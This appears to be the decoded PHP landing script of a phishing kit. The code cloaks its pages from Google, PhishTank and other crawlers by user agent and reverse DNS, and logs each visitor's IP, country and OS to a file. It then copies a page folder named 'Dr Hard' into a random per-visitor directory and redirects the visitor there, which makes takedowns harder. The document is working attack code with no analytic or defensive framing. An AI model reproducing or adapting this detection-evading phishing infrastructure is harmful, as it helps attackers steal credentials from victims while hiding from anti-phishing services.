PHP Decode

<?php 
session_start(); 
error_reporting(0); 
include "os.php"; 
include "./bots/antibots1.php"; 
include "./bots/antibots2.php"; 
include "./bots/antibots3.php"; 
include "./bots/antibots4.php"; 
include "./bots/antibots5.php"; 
include "./bots/antibots6.php"; 
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); } 
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); } 
date_default_timezone_set('Africa/Tunis'); 
$TIME = date("d-m-Y H:i:s");  
$PP = getenv("REMOTE_ADDR"); 
$J7 = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$PP"); 
$COUNTRY = $J7->geoplugin_countryName ; 
$ip = getenv("REMOTE_ADDR"); 
$OS =getOS($_SERVER['HTTP_USER_AGENT']); 
$file = fopen("logs.txt","a"); 
fwrite($file,$ip." - ".$TIME." - ".$COUNTRY." - ".$OS."
")  ; 
function is_bitch($user_agent){ 
    $bitchs = array( 
        'Googlebot',  
        'Baiduspider',  
        'ia_archiver', 
        'R6_FeedFetcher',  
        'NetcraftSurveyAgent',  
        'Sogou web spider', 
        'bingbot',  
        'Yahoo! Slurp',  
        'facebookexternalhit',  
        'PrintfulBot', 
        'msnbot',  
        'Twitterbot',  
        'UnwindFetchor',  
        'urlresolver',  
        'Butterfly',  
        'TweetmemeBot', 
        'PaperLiBot', 
        'MJ12bot', 
        'AhrefsBot', 
        'Exabot', 
        'Ezooms', 
        'YandexBot', 
        'SearchmetricsBot', 
		'phishtank', 
		'PhishTank', 
        'picsearch', 
        'TweetedTimes Bot', 
        'QuerySeekerSpider', 
        'ShowyouBot', 
        'woriobot', 
        'merlinkbot', 
        'BazQuxBot', 
        'Kraken', 
        'SISTRIX Crawler', 
        'R6_CommentReader', 
        'magpie-crawler', 
        'GrapeshotCrawler', 
        'PercolateCrawler', 
        'MaxPointCrawler', 
        'R6_FeedFetcher', 
        'NetSeer crawler', 
        'grokkit-crawler', 
        'SMXCrawler', 
        'PulseCrawler', 
        'Y!J-BRW', 
        '80legs.com/webcrawler', 
        'Mediapartners-Google',  
        'Spinn3r',  
        'InAGist',  
        'Python-urllib',  
        'NING',  
        'TencentTraveler', 
        'Feedfetcher-Google',  
        'mon.itor.us',  
        'spbot',  
        'Feedly', 
        'bot', 
        'curl', 
        "spider", 
        "crawler"); 
    	foreach($bitchs as $bitch){ 
            if( stripos( $user_agent, $bitch ) !== false ) return true; 
        } 
    	return false; 
} 
if (is_bitch($_SERVER['HTTP_USER_AGENT'])) { 
    echo "404 NOT FOUND"; 
    exit; 
} 
for ($DIR = '', $i = 0, $z = strlen($a = '123456789')-1; $i != 5; $x = rand(0,$z), $DIR .= $a{$x}, $i++); 
$src="./Dr Hard"; 
$random = rand(0,100000).$_SERVER['REMOTE_ADDR']; 
$dst		= "./users/userID-".$DIR; 
	 
function recurse_copy($src, $dst) { 
 
	$dir = opendir($src); 
	$result = ($dir === false ? false : true); 
 
	if ($result !== false) { 
		$result = @mkdir($dst); 
 
		if ($result === true) { 
			while(false !== ( $file = readdir($dir)) ) {  
				if (( $file != '.' ) && ( $file != '..' ) && $result) {  
					if ( is_dir($src . '/' . $file) ) {  
						$result = recurse_copy($src . '/' . $file,$dst . '/' . $file);  
					} else {  
						$result = copy($src . '/' . $file,$dst . '/' . $file);  
					}  
				}  
			}  
			closedir($dir); 
		} 
	} 
 
	return $result; 
} 
recurse_copy( $src, $dst ); 
header("location:".$dst.""); 
?>